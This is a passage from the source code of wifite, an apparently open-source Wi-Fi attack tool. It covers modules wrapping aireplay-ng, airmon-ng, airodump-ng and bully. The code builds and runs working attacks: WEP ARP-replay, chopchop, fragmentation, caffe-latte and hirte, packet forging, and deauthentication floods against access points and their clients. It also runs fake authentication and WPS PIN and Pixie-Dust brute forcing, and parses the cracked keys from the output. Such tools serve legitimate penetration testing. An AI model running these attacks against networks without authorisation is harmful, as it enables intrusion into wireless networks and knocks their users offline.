WEPAttackType.replay: cmd.extend([ '--arpreplay', '-b', target.bssid, '-x', str(Configuration.wep_pps) ]) if client_mac: cmd.extend(['-h', client_mac]) elif attack_type == WEPAttackType.chopchop: cmd.extend([ '--chopchop', '-b', target.bssid, '-x', str(Configuration.wep_pps), #'-m', '60', # Minimum packet length (bytes) #'-n', '82', # Maximum packet length '-F' # Automatically choose first packet ]) if client_mac: cmd.extend(['-h', client_mac]) elif attack_type == WEPAttackType.fragment: cmd.extend([ '--fragment', '-b', target.bssid, '-x', str(Configuration.wep_pps), '-m', '100', # Minimum packet length (bytes) '-F' # Automatically choose first packet ]) if client_mac: cmd.extend(['-h', client_mac]) elif attack_type == WEPAttackType.caffelatte: if len(target.clients) == 0: # Unable to carry out caffe-latte attack raise Exception('Client is required for caffe-latte attack') cmd.extend([ '--caffe-latte', '-b', target.bssid, '-h', target.clients[0].station ]) elif attack_type == WEPAttackType.p0841: cmd.extend([ '--arpreplay', '-b', target.bssid, '-c', 'ff:ff:ff:ff:ff:ff', '-x', str(Configuration.wep_pps), '-F', # Automatically choose first packet '-p', '0841' ]) if client_mac: cmd.extend(['-h', client_mac]) elif attack_type == WEPAttackType.hirte: if client_mac is None: # Unable to carry out hirte attack raise Exception('Client is required for hirte attack') cmd.extend([ '--cfrag', '-h', client_mac ]) elif attack_type == WEPAttackType.forgedreplay: if client_mac is None or replay_file is None: raise Exception('Client_mac and Replay_File are required for arp replay') cmd.extend([ '--arpreplay', '-b', target.bssid, '-h', client_mac, '-r', replay_file, '-F', # Automatically choose first packet '-x', str(Configuration.wep_pps) ]) else: raise Exception('Unexpected attack type: %s' % attack_type) cmd.append(Configuration.interface) return cmd @staticmethod def get_xor(): ''' Finds the last .xor file in the directory ''' xor = None for fil in os.listdir(Configuration.temp()): if fil.startswith('replay_') and fil.endswith('.xor') or \ fil.startswith('fragment-') and fil.endswith('.xor'): xor = fil return xor @staticmethod def forge_packet(xor_file, bssid, station_mac): ''' Forges packet from .xor file ''' forged_file = 'forged.cap' cmd = [ 'packetforge-ng', '-0', '-a', bssid, # Target MAC '-h', station_mac, # Client MAC '-k', '192.168.1.2', # Dest IP '-l', '192.168.1.100', # Source IP '-y', xor_file, # Read PRNG from .xor file '-w', forged_file, # Write to Configuration.interface ] cmd = '"%s"' % '" "'.join(cmd) (out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True) if out.strip() == 'Wrote packet to: %s' % forged_file: return forged_file else: from ..util.color import Color Color.pl('{!} {R}failed to forge packet from .xor file{W}') Color.pl('output:\n"%s"' % out) return None @staticmethod def deauth(target_bssid, essid=None, client_mac=None, num_deauths=None, timeout=2): num_deauths = num_deauths or Configuration.num_deauths deauth_cmd = [ 'aireplay-ng', '-0', # Deauthentication str(num_deauths), '--ignore-negative-one', '-a', target_bssid, # Target AP '-D' # Skip AP detection ] if client_mac is not None: # Station-specific deauth deauth_cmd.extend(['-c', client_mac]) if essid: deauth_cmd.extend(['-e', essid]) deauth_cmd.append(Configuration.interface) proc = Process(deauth_cmd) while proc.poll() is None: if proc.running_time() >= timeout: proc.interrupt() time.sleep(0.2) @staticmethod def fakeauth(target, timeout=5, num_attempts=3): ''' Tries a one-time fake-authenticate with a target AP. Params: target (py.Target): Instance of py.Target timeout (int): Time to wait for fakeuth to succeed. num_attempts (int): Number of fakeauth attempts to make. Returns: (bool): True if fakeauth succeeds, otherwise False ''' cmd = [ 'aireplay-ng', '-1', '0', # Fake auth, no delay '-a', target.bssid, '-T', str(num_attempts) ] if target.essid_known: cmd.extend(['-e', target.essid]) cmd.append(Configuration.interface) fakeauth_proc = Process(cmd, devnull=False, cwd=Configuration.temp()) timer = Timer(timeout) while fakeauth_proc.poll() is None and not timer.ended(): time.sleep(0.1) if fakeauth_proc.poll() is None or timer.ended(): fakeauth_proc.interrupt() return False output = fakeauth_proc.stdout() return 'association successful' in output.lower() if __name__ == '__main__': t = WEPAttackType(4) print(t.name, type(t.name), t.value) t = WEPAttackType('caffelatte') print(t.name, type(t.name), t.value) t = WEPAttackType(t) print(t.name, type(t.name), t.value) ================================================ FILE: wifite/tools/airmon.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from .dependency import Dependency from .ifconfig import Ifconfig from .iwconfig import Iwconfig from ..util.process import Process from ..util.color import Color from ..util.input import raw_input from ..config import Configuration import re import os import signal class AirmonIface(object): def __init__(self, phy, interface, driver, chipset): self.phy = phy self.interface = interface self.driver = driver self.chipset = chipset # Max length of fields. # Used for printing a table of interfaces. INTERFACE_LEN = 12 PHY_LEN = 6 DRIVER_LEN = 20 CHIPSET_LEN = 30 def __str__(self): ''' Colored string representation of interface ''' s = '' s += Color.s('{G}%s' % self.interface.ljust(self.INTERFACE_LEN)) s += Color.s('{W}%s' % self.phy.ljust(self.PHY_LEN)) s += Color.s('{C}%s' % self.driver.ljust(self.DRIVER_LEN)) s += Color.s('{W}%s' % self.chipset.ljust(self.CHIPSET_LEN)) return s @staticmethod def menu_header(): ''' Colored header row for interfaces ''' s = ' ' # Space for index # s += 'Interface'.ljust(AirmonIface.INTERFACE_LEN) s += 'PHY'.ljust(AirmonIface.PHY_LEN) s += 'Driver'.ljust(AirmonIface.DRIVER_LEN) s += 'Chipset'.ljust(AirmonIface.CHIPSET_LEN) s += '\n' s += '-' * (AirmonIface.INTERFACE_LEN + AirmonIface.PHY_LEN + AirmonIface.DRIVER_LEN + AirmonIface.CHIPSET_LEN + 3) return s class Airmon(Dependency): ''' Wrapper around the 'airmon-ng' program ''' dependency_required = True dependency_name = 'airmon-ng' dependency_url = 'https://www.aircrack-ng.org/install.html' base_interface = None killed_network_manager = False # Drivers that need to be manually put into monitor mode BAD_DRIVERS = ['rtl8821au'] #see if_arp.h ARPHRD_ETHER = 1 #managed ARPHRD_IEEE80211_RADIOTAP = 803 #monitor def __init__(self): self.refresh() def refresh(self): ''' Get airmon-recognized interfaces ''' self.interfaces = Airmon.get_interfaces() def print_menu(self): ''' Prints menu ''' print(AirmonIface.menu_header()) for idx, iface in enumerate(self.interfaces, start=1): Color.pl(' {G}%d{W}. %s' % (idx, iface)) def get(self, index): ''' Gets interface at index (starts at 1) ''' if type(index) is str: index = int(index) return self.interfaces[index - 1] @staticmethod def get_interfaces(): '''Returns List of AirmonIface objects known by airmon-ng''' interfaces = [] p = Process('airmon-ng') for line in p.stdout().split('\n'): # [PHY ]IFACE DRIVER CHIPSET airmon_re = re.compile(r'^(?:([^\t]*)\t+)?([^\t]*)\t+([^\t]*)\t+([^\t]*)$') matches = airmon_re.match(line) if not matches: continue phy, interface, driver, chipset = matches.groups() if phy == 'PHY' or phy == 'Interface': continue # Header if len(interface.strip()) == 0: continue interfaces.append(AirmonIface(phy, interface, driver, chipset)) return interfaces @staticmethod def start_bad_driver(iface): ''' Manually put interface into monitor mode (no airmon-ng or vif). Fix for bad drivers like the rtl8812AU. ''' Ifconfig.down(iface) Iwconfig.mode(iface, 'monitor') Ifconfig.up(iface) # /sys/class/net/wlan0/type iface_type_path = os.path.join('/sys/class/net', iface, 'type') if os.path.exists(iface_type_path): with open(iface_type_path, 'r') as f: if (int(f.read()) == Airmon.ARPHRD_IEEE80211_RADIOTAP): return iface return None @staticmethod def stop_bad_driver(iface): ''' Manually put interface into managed mode (no airmon-ng or vif). Fix for bad drivers like the rtl8812AU. ''' Ifconfig.down(iface) Iwconfig.mode(iface, 'managed') Ifconfig.up(iface) # /sys/class/net/wlan0/type iface_type_path = os.path.join('/sys/class/net', iface, 'type') if os.path.exists(iface_type_path): with open(iface_type_path, 'r') as f: if (int(f.read()) == Airmon.ARPHRD_ETHER): return iface return None @staticmethod def start(iface): ''' Starts an interface (iface) in monitor mode Args: iface - The interface to start in monitor mode Either an instance of AirmonIface object, or the name of the interface (string). Returns: Name of the interface put into monitor mode. Throws: Exception - If an interface can't be put into monitor mode ''' # Get interface name from input if type(iface) == AirmonIface: iface_name = iface.interface driver = iface.driver else: iface_name = iface driver = None # Remember this as the 'base' interface. Airmon.base_interface = iface_name Color.p('{+} enabling {G}monitor mode{W} on {C}%s{W}... ' % iface_name) airmon_output = Process(['airmon-ng', 'start', iface_name]).stdout() enabled_iface = Airmon._parse_airmon_start(airmon_output) if enabled_iface is None and driver in Airmon.BAD_DRIVERS: Color.p('{O}"bad driver" detected{W} ') enabled_iface = Airmon.start_bad_driver(iface_name) if enabled_iface is None: Color.pl('{R}failed{W}') monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor') # Assert that there is an interface in monitor mode if len(monitor_interfaces) == 0: Color.pl('{R}failed{W}') raise Exception('Cannot find any interfaces in Mode:Monitor') # Assert that the interface enabled by airmon-ng is in monitor mode if enabled_iface not in monitor_interfaces: Color.pl('{R}failed{W}') raise Exception('Cannot find %s with Mode:Monitor' % enabled_iface) # No errors found; the device 'enabled_iface' was put into Mode:Monitor. Color.pl('{G}enabled {C}%s{W}' % enabled_iface) return enabled_iface @staticmethod def _parse_airmon_start(airmon_output): '''Find the interface put into monitor mode (if any)''' # airmon-ng output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon) enabled_re = re.compile(r'.*\(mac80211 monitor mode (?:vif )?enabled (?:for [^ ]+ )?on (?:\[\w+\])?(\w+)\)?.*') for line in airmon_output.split('\n'): matches = enabled_re.match(line) if matches: return matches.group(1) return None @staticmethod def stop(iface): Color.p('{!} {R}disabling {O}monitor mode{O} on {R}%s{O}... ' % iface) airmon_output = Process(['airmon-ng', 'stop', iface]).stdout() (disabled_iface, enabled_iface) = Airmon._parse_airmon_stop(airmon_output) if not disabled_iface and iface in Airmon.BAD_DRIVERS: Color.p('{O}"bad driver" detected{W} ') disabled_iface = Airmon.stop_bad_driver(iface) if disabled_iface: Color.pl('{G}disabled %s{W}' % disabled_iface) else: Color.pl('{O}could not disable on {R}%s{W}' % iface) return (disabled_iface, enabled_iface) @staticmethod def _parse_airmon_stop(airmon_output): '''Find the interface taken out of into monitor mode (if any)''' # airmon-ng 1.2rc2 output: (mac80211 monitor mode vif enabled for [phy10]wlan0 on [phy10]wlan0mon) disabled_re = re.compile(r'\s*\(mac80211 monitor mode (?:vif )?disabled for (?:\[\w+\])?(\w+)\)\s*') # airmon-ng 1.2rc1 output: wlan0mon (removed) removed_re = re.compile(r'([a-zA-Z0-9]+).*\(removed\)') # Enabled interface: (mac80211 station mode vif enabled on [phy4]wlan0) enabled_re = re.compile(r'\s*\(mac80211 station mode (?:vif )?enabled on (?:\[\w+\])?(\w+)\)\s*') disabled_iface = None enabled_iface = None for line in airmon_output.split('\n'): matches = disabled_re.match(line) if matches: disabled_iface = matches.group(1) matches = removed_re.match(line) if matches: disabled_iface = matches.group(1) matches = enabled_re.match(line) if matches: enabled_iface = matches.group(1) return (disabled_iface, enabled_iface) @staticmethod def ask(): ''' Asks user to define which wireless interface to use. Does not ask if: 1. There is already an interface in monitor mode, or 2. There is only one wireless interface (automatically selected). Puts selected device into Monitor Mode. ''' Airmon.terminate_conflicting_processes() Color.p('\n{+} Looking for {C}wireless interfaces{W}...') monitor_interfaces = Iwconfig.get_interfaces(mode='Monitor') if len(monitor_interfaces) == 1: # Assume we're using the device already in montior mode iface = monitor_interfaces[0] Color.clear_entire_line() Color.pl('{+} Using {G}%s{W} already in monitor mode' % iface); Airmon.base_interface = None return iface Color.clear_entire_line() Color.p('{+} Checking {C}airmon-ng{W}...') a = Airmon() count = len(a.interfaces) if count == 0: # No interfaces found Color.pl('\n{!} {O}airmon-ng did not find {R}any{O} wireless interfaces') Color.pl('{!} {O}Make sure your wireless device is connected') Color.pl('{!} {O}See {C}http://www.aircrack-ng.org/doku.php?id=airmon-ng{O} for more info{W}') raise Exception('airmon-ng did not find any wireless interfaces') Color.clear_entire_line() a.print_menu() Color.pl('') if count == 1: # Only one interface, assume this is the one to use choice = 1 else: # Multiple interfaces found question = Color.s('{+} Select wireless interface ({G}1-%d{W}): ' % (count)) choice = raw_input(question) iface = a.get(choice) if a.get(choice).interface in monitor_interfaces: Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.interface) else: iface.interface = Airmon.start(iface) return iface.interface @staticmethod def terminate_conflicting_processes(): ''' Deletes conflicting processes reported by airmon-ng ''' airmon_output = Process(['airmon-ng', 'check']).stdout() # Conflicting process IDs and names pid_pnames = [] # 2272 dhclient # 2293 NetworkManager pid_pname_re = re.compile(r'^\s*(\d+)\s*([a-zA-Z0-9_\-]+)\s*$') for line in airmon_output.split('\n'): match = pid_pname_re.match(line) if match: pid = match.group(1) pname = match.group(2) pid_pnames.append( (pid, pname) ) if len(pid_pnames) == 0: return if not Configuration.kill_conflicting_processes: # Don't kill processes, warn user names_and_pids = ', '.join([ '{R}%s{O} (PID {R}%s{O})' % (pname, pid) for pid, pname in pid_pnames ]) Color.pl('{!} {O}Conflicting processes: %s' % names_and_pids) Color.pl('{!} {O}If you have problems: {R}kill -9 PID{O} or re-run wifite with {R}--kill{O}){W}') return Color.pl('{!} {O}Killing {R}%d {O}conflicting processes' % len(pid_pnames)) for pid, pname in pid_pnames: if pname == 'NetworkManager' and Process.exists('service'): Color.pl('{!} {O}stopping network-manager ({R}service network-manager stop{O})') # Can't just pkill network manager; it's a service Process(['service', 'network-manager', 'stop']).wait() Airmon.killed_network_manager = True elif pname == 'avahi-daemon' and Process.exists('service'): Color.pl('{!} {O}stopping avahi-daemon ({R}service avahi-daemon stop{O})') # Can't just pkill avahi-daemon; it's a service Process(['service', 'avahi-daemon', 'stop']).wait() else: Color.pl('{!} {R}Terminating {O}conflicting process {R}%s{O} (PID {R}%s{O})' % (pname, pid)) try: os.kill(int(pid), signal.SIGTERM) except: pass @staticmethod def put_interface_up(iface): Color.p('{!} {O}putting interface {R}%s up{O}...' % (iface)) Ifconfig.up(iface) Color.pl(' {G}done{W}') @staticmethod def start_network_manager(): Color.p('{!} {O}restarting {R}NetworkManager{O}...') if Process.exists('service'): cmd = 'service network-manager start' proc = Process(cmd) (out, err) = proc.get_output() if proc.poll() != 0: Color.pl(' {R}Error executing {O}%s{W}' % cmd) if out is not None and out.strip() != '': Color.pl('{!} {O}STDOUT> %s{W}' % out) if err is not None and err.strip() != '': Color.pl('{!} {O}STDERR> %s{W}' % err) else: Color.pl(' {G}done{W} ({C}%s{W})' % cmd) return if Process.exists('systemctl'): cmd = 'systemctl start NetworkManager' proc = Process(cmd) (out, err) = proc.get_output() if proc.poll() != 0: Color.pl(' {R}Error executing {O}%s{W}' % cmd) if out is not None and out.strip() != '': Color.pl('{!} {O}STDOUT> %s{W}' % out) if err is not None and err.strip() != '': Color.pl('{!} {O}STDERR> %s{W}' % err) else: Color.pl(' {G}done{W} ({C}%s{W})' % cmd) return else: Color.pl(' {R}cannot restart NetworkManager: {O}systemctl{R} or {O}service{R} not found{W}') if __name__ == '__main__': stdout = ''' Found 2 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to run 'airmon-ng check kill' PID Name 5563 avahi-daemon 5564 avahi-daemon PHY Interface Driver Chipset phy0 wlx00c0ca4ecae0 rtl8187 Realtek Semiconductor Corp. RTL8187 Interface 15mon is too long for linux so it will be renamed to the old style (wlan#) name. (mac80211 monitor mode vif enabled on [phy0]wlan0mon (mac80211 station mode vif disabled for [phy0]wlx00c0ca4ecae0) ''' start_iface = Airmon._parse_airmon_start(stdout) print('start_iface from stdout:', start_iface) Configuration.initialize(False) iface = Airmon.ask() (disabled_iface, enabled_iface) = Airmon.stop(iface) print('Disabled:', disabled_iface) print('Enabled:', enabled_iface) ================================================ FILE: wifite/tools/airodump.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from .dependency import Dependency from .tshark import Tshark from .wash import Wash from ..util.process import Process from ..config import Configuration from ..model.target import Target, WPSState from ..model.client import Client import os, time class Airodump(Dependency): ''' Wrapper around airodump-ng program ''' dependency_required = True dependency_name = 'airodump-ng' dependency_url = 'https://www.aircrack-ng.org/install.html' def __init__(self, interface=None, channel=None, encryption=None,\ wps=WPSState.UNKNOWN, target_bssid=None, output_file_prefix='airodump',\ ivs_only=False, skip_wps=False, delete_existing_files=True): '''Sets up airodump arguments, doesn't start process yet.''' Configuration.initialize() if interface is None: interface = Configuration.interface if interface is None: raise Exception('Wireless interface must be defined (-i)') self.interface = interface self.targets = [] if channel is None: channel = Configuration.target_channel self.channel = channel self.five_ghz = Configuration.five_ghz self.encryption = encryption self.wps = wps self.target_bssid = target_bssid self.output_file_prefix = output_file_prefix self.ivs_only = ivs_only self.skip_wps = skip_wps # For tracking decloaked APs (previously were hidden) self.decloaking = False self.decloaked_bssids = set() self.decloaked_times = {} # Map of BSSID(str) -> epoch(int) of last deauth self.delete_existing_files = delete_existing_files def __enter__(self): ''' Setting things up for this context. Called at start of 'with Airodump(...) as x:' Actually starts the airodump process. ''' if self.delete_existing_files: self.delete_airodump_temp_files(self.output_file_prefix) self.csv_file_prefix = Configuration.temp() + self.output_file_prefix # Build the command command = [ 'airodump-ng', self.interface, '-a', # Only show associated clients '-w', self.csv_file_prefix, # Output file prefix '--write-interval', '1' # Write every second ] if self.channel: command.extend(['-c', str(self.channel)]) elif self.five_ghz: command.extend(['--band', 'a']) if self.encryption: command.extend(['--enc', self.encryption]) if self.wps: command.extend(['--wps']) if self.target_bssid: command.extend(['--bssid', self.target_bssid]) if self.ivs_only: command.extend(['--output-format', 'ivs,csv']) else: command.extend(['--output-format', 'pcap,csv']) # Start the process self.pid = Process(command, devnull=True) return self def __exit__(self, type, value, traceback): ''' Tearing things down since the context is being exited. Called after 'with Airodump(...)' goes out of scope. ''' # Kill the process self.pid.interrupt() if self.delete_existing_files: self.delete_airodump_temp_files(self.output_file_prefix) def find_files(self, endswith=None): return self.find_files_by_output_prefix(self.output_file_prefix, endswith=endswith) @classmethod def find_files_by_output_prefix(cls, output_file_prefix, endswith=None): ''' Finds all files in the temp directory that start with the output_file_prefix ''' result = [] temp = Configuration.temp() for fil in os.listdir(temp): if not fil.startswith(output_file_prefix): continue if endswith is None or fil.endswith(endswith): result.append(os.path.join(temp, fil)) return result @classmethod def delete_airodump_temp_files(cls, output_file_prefix): ''' Deletes airodump* files in the temp directory. Also deletes replay_*.cap and *.xor files in pwd. ''' # Remove all temp files for fil in cls.find_files_by_output_prefix(output_file_prefix): os.remove(fil) # Remove .cap and .xor files from pwd for fil in os.listdir('.'): if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'): os.remove(fil) # Remove replay/cap/xor files from temp temp_dir = Configuration.temp() for fil in os.listdir(temp_dir): if fil.startswith('replay_') and fil.endswith('.cap') or fil.endswith('.xor'): os.remove(os.path.join(temp_dir, fil)) def get_targets(self, old_targets=[], apply_filter=True): ''' Parses airodump's CSV file, returns list of Targets ''' # Find the .CSV file csv_filename = None for fil in self.find_files(endswith='.csv'): csv_filename = fil # Found the file break if csv_filename is None or not os.path.exists(csv_filename): return self.targets # No file found targets = Airodump.get_targets_from_csv(csv_filename) for old_target in old_targets: for target in targets: if old_target.bssid == target.bssid: target.wps = old_target.wps # Check targets for WPS if not self.skip_wps: capfile = csv_filename[:-3] + 'cap' try: Tshark.check_for_wps_and_update_targets(capfile, targets) except ValueError: # No tshark, or it failed. Fall-back to wash Wash.check_for_wps_and_update_targets(capfile, targets) if apply_filter: # Filter targets based on encryption & WPS capability targets = Airodump.filter_targets(targets, skip_wps=self.skip_wps) # Sort by power targets.sort(key=lambda x: x.power, reverse=True) # Identify decloaked targets for old_target in self.targets: for new_target in targets: if old_target.bssid != new_target.bssid: continue if new_target.essid_known and not old_target.essid_known: # We decloaked a target! new_target.decloaked = True self.decloaked_bssids.add(new_target.bssid) self.targets = targets self.deauth_hidden_targets() return self.targets @staticmethod def get_targets_from_csv(csv_filename): '''Returns list of Target objects parsed from CSV file.''' targets = [] import csv with open(csv_filename, 'r') as csvopen: lines = [] for line in csvopen: line = line.replace('\0', '') lines.append(line) csv_reader = csv.reader(lines, delimiter=',', quoting=csv.QUOTE_ALL, skipinitialspace=True, escapechar='\\') hit_clients = False for row in csv_reader: # Each 'row' is a list of fields for a target/client if len(row) == 0: continue if row[0].strip() == 'BSSID': # This is the 'header' for the list of Targets hit_clients = False continue elif row[0].strip() == 'Station MAC': # This is the 'header' for the list of Clients hit_clients = True continue if hit_clients: # The current row corresponds to a 'Client' (computer) try: client = Client(row) except (IndexError, ValueError) as e: # Skip if we can't parse the client row continue if 'not associated' in client.bssid: # Ignore unassociated clients continue # Add this client to the appropriate Target for t in targets: if t.bssid == client.bssid: t.clients.append(client) break else: # The current row corresponds to a 'Target' (router) try: target = Target(row) targets.append(target) except Exception: continue return targets @staticmethod def filter_targets(targets, skip_wps=False): ''' Filters targets based on Configuration ''' result = [] # Filter based on Encryption for target in targets: if Configuration.clients_only and len(target.clients) == 0: continue if 'WEP' in Configuration.encryption_filter and 'WEP' in target.encryption: result.append(target) elif 'WPA' in Configuration.encryption_filter and 'WPA' in target.encryption: result.append(target) elif 'WPS' in Configuration.encryption_filter and target.wps in [WPSState.UNLOCKED, WPSState.LOCKED]: result.append(target) elif skip_wps: result.append(target) # Filter based on BSSID/ESSID bssid = Configuration.target_bssid essid = Configuration.target_essid i = 0 while i < len(result): if result[i].essid is not None and Configuration.ignore_essid is not None and Configuration.ignore_essid.lower() in result[i].essid.lower(): result.pop(i) elif bssid and result[i].bssid.lower() != bssid.lower(): result.pop(i) elif essid and result[i].essid and result[i].essid.lower() != essid.lower(): result.pop(i) else: i += 1 return result def deauth_hidden_targets(self): ''' Sends deauths (to broadcast and to each client) for all targets (APs) that have unknown ESSIDs (hidden router names). ''' self.decloaking = False if Configuration.no_deauth: return # Do not deauth if requested if self.channel is None: return # Do not deauth if channel is not fixed. # Reusable deauth command deauth_cmd = [ 'aireplay-ng', '-0', # Deauthentication str(Configuration.num_deauths), # Number of deauth packets to send '--ignore-negative-one' ] for target in self.targets: if target.essid_known: continue now = int(time.time()) secs_since_decloak = now - self.decloaked_times.get(target.bssid, 0) if secs_since_decloak < 30: continue # Decloak every AP once every 30 seconds self.decloaking = True self.decloaked_times[target.bssid] = now if Configuration.verbose > 1: from ..util.color import Color Color.pe('{C} [?] Deauthing %s (broadcast & %d clients){W}' % (target.bssid, len(target.clients))) # Deauth broadcast iface = Configuration.interface Process(deauth_cmd + ['-a', target.bssid, iface]) # Deauth clients for client in target.clients: Process(deauth_cmd + ['-a', target.bssid, '-c', client.bssid, iface]) if __name__ == '__main__': ''' Example usage. wlan0mon should be in Monitor Mode ''' with Airodump() as airodump: from time import sleep sleep(7) from ..util.color import Color targets = airodump.get_targets() for idx, target in enumerate(targets, start=1): Color.pl(' {G}%s %s' % (str(idx).rjust(3), target.to_str())) Configuration.delete_temp() ================================================ FILE: wifite/tools/bully.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from .dependency import Dependency from .airodump import Airodump from ..model.attack import Attack from ..model.wps_result import CrackResultWPS from ..util.color import Color from ..util.timer import Timer from ..util.process import Process from ..config import Configuration import os, time, re from threading import Thread class Bully(Attack, Dependency): dependency_required = False dependency_name = 'bully' dependency_url = 'https://github.com/aanarchyy/bully' def __init__(self, target, pixie_dust=True): super(Bully, self).__init__(target) self.target = target self.pixie_dust = pixie_dust self.total_attempts = 0 self.total_timeouts = 0 self.total_failures = 0 self.locked = False self.state = '{O}Waiting for beacon{W}' self.start_time = time.time() self.last_pin = "" self.pins_remaining = -1 self.eta = '' self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None self.crack_result = None self.cmd = [] if Process.exists('stdbuf'): self.cmd.extend([ 'stdbuf', '-o0' # No buffer. See https://stackoverflow.com/a/40453613/7510292 ]) self.cmd.extend([ 'bully', '--bssid', target.bssid, '--channel', target.channel, #'--detectlock', # Detect WPS lockouts unreported by AP # Restoring session from '/root/.bully/34210901927c.run' # WARNING: WPS checksum was bruteforced in prior session, now autogenerated # Use --force to ignore above warning(s) and continue anyway '--force', '-v', '4', Configuration.interface ]) if self.pixie_dust: self.cmd.insert(-1, '--pixiewps') self.bully_proc = None def run(self): with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wps=True, output_file_prefix='wps_pin') as airodump: # Wait for target self.pattack('Waiting for target to appear...') self.target = self.wait_for_target(airodump) # Start bully self.bully_proc = Process(self.cmd, stderr=Process.devnull(), bufsize=0, cwd=Configuration.temp()) # Start bully status thread t = Thread(target=self.parse_line_thread) t.daemon = True t.start() try: self._run(airodump) except KeyboardInterrupt as e: self.stop() raise e except Exception as e: self.stop() raise e if self.crack_result is None: self.pattack('{R}Failed{W}', newline=True) def _run(self, airodump): while self.bully_proc.poll() is None: try: self.target = self.wait_for_target(airodump) except Exception as e: self.pattack('{R}Failed: {O}%s{W}' % e, newline=True) Color.pexception(e) self.stop() break # Update status self.pattack(self.get_status()) # Thresholds only apply to Pixie-Dust if self.pixie_dust: # Check if entire attack timed out. if self.running_time() > Configuration.wps_pixie_timeout: self.pattack('{R}Failed: {O}Timeout after %d seconds{W}' % ( Configuration.wps_pixie_timeout), newline=True) self.stop() return # Check if timeout threshold was breached if self.total_timeouts >= Configuration.wps_timeout_threshold: self.pattack('{R}Failed: {O}More than %d Timeouts{W}' % ( Configuration.wps_timeout_threshold), newline=True) self.stop() return # Check if WPSFail threshold was breached if self.total_failures >= Configuration.wps_fail_threshold: self.pattack('{R}Failed: {O}More than %d WPSFails{W}' % ( Configuration.wps_fail_threshold), newline=True) self.stop() return else: if self.locked and not Configuration.wps_ignore_lock: self.pattack('{R}Failed: {O}Access point is {R}Locked{O}', newline=True) self.stop() return time.sleep(0.5) def pattack(self, message, newline=False): # Print message with attack information. if self.pixie_dust: # Count down time_left = Configuration.wps_pixie_timeout - self.running_time() attack_name = 'Pixie-Dust' else: # Count up time_left = self.running_time() attack_name = 'PIN Attack' if self.eta: time_msg = '{D}ETA:{W}{C}%s{W}' % self.eta else: time_msg = '{C}%s{W}' % Timer.secs_to_str(time_left) if self.pins_remaining >= 0: time_msg += ', {D}PINs Left:{W}{C}%d{W}' % self.pins_remaining else: time_msg += ', {D}PINs:{W}{C}%d{W}' % self.total_attempts Color.clear_entire_line() Color.pattack('WPS', self.target, attack_name, '{W}[%s] %s' % (time_msg, message)) if newline: Color.pl('') def running_time(self): return int(time.time() - self.start_time) def get_status(self): main_status = self.state meta_statuses = [] if self.total_timeouts > 0: meta_statuses.append('{O}Timeouts:%d{W}' % self.total_timeouts) if self.total_failures > 0: meta_statuses.append('{O}Fails:%d{W}' % self.total_failures) if self.locked: meta_statuses.append('{R}Locked{W}') if len(meta_statuses) > 0: main_status += ' (%s)' % ', '.join(meta_statuses) return main_status def parse_line_thread(self): for line in iter(self.bully_proc.pid.stdout.readline, b''): if line == '': continue line = line.decode('utf-8') line = line.replace('\r', '').replace('\n', '').strip() if Configuration.verbose > 1: Color.pe('\n{P} [bully:stdout] %s' % line) self.state = self.parse_state(line) self.crack_result = self.parse_crack_result(line) if self.crack_result: break def parse_crack_result(self, line): # Check for line containing PIN and PSK # [*] Pin is '80246213', key is 'password' pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line) if pin_key_re: self.cracked_pin = pin_key_re.group(1) self.cracked_key = pin_key_re.group(2) ############### # Check for PIN if self.cracked_pin is None: # PIN : '80246213' pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line) if pin_re: self.cracked_pin = pin_re.group(1) # [Pixie-Dust] PIN FOUND: 01030365 pin_re = re.search(r"^\[Pixie-Dust\] PIN FOUND: '?(\d*)'?\s*$", line) if pin_re: self.cracked_pin = pin_re.group(1) if self.cracked_pin is not None: # Mention the PIN & that we're not done yet. self.pattack('{G}Cracked PIN: {C}%s{W}' % self.cracked_pin, newline=True) self.state = '{G}Finding Key...{C}' time.sleep(2) ########################### # KEY : 'password' key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line) if key_re: self.cracked_key = key_re.group(1) if not self.crack_result and self.cracked_pin and self.cracked_key: self.pattack('{G}Cracked Key: {C}%s{W}' % self.cracked_key, newline=True) self.crack_result = CrackResultWPS( self.target.bssid, self.target.essid, self.cracked_pin, self.cracked_key) Color.pl('') self.crack_result.dump() return self.crack_result def parse_state(self, line): state = self.state # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c) got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line) if got_beacon: # group(1)=ESSID, group(2)=BSSID state = 'Got beacon' # [+] Last State = 'NoAssoc' Next pin '48855501' last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line) if last_state: # group(1)=NoAssoc, group(2)=PIN pin = last_state.group(2) if pin != self.last_pin: self.last_pin = pin self.total_attempts += 1 if self.pins_remaining > 0: self.pins_remaining -= 1 state = 'Trying PIN' # [+] Tx( Auth ) = 'Timeout' Next pin '80241263' mx_result_pin = re.search( r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line) if mx_result_pin: # group(1)=M1,M2,..,M7, group(2)=result, group(3)=Next PIN self.locked = False m_state = mx_result_pin.group(1) result = mx_result_pin.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad pin = mx_result_pin.group(3) if pin != self.last_pin: self.last_pin = pin self.total_attempts += 1 if self.pins_remaining > 0: self.pins_remaining -= 1 if result in ['Pin1Bad', 'Pin2Bad']: result = '{G}%s{W}' % result elif result == 'Timeout': self.total_timeouts += 1 result = '{O}%s{W}' % result elif result == 'WPSFail': self.total_failures += 1 result = '{O}%s{W}' % result elif result == 'NoAssoc': result = '{O}%s{W}' % result else: result = '{R}%s{W}' % result result = '{P}%s{W}:%s' % (m_state.strip(), result.strip()) state = 'Trying PIN (%s)' % result # [!] Run time 00:02:49, pins tested 32 (5.28 seconds 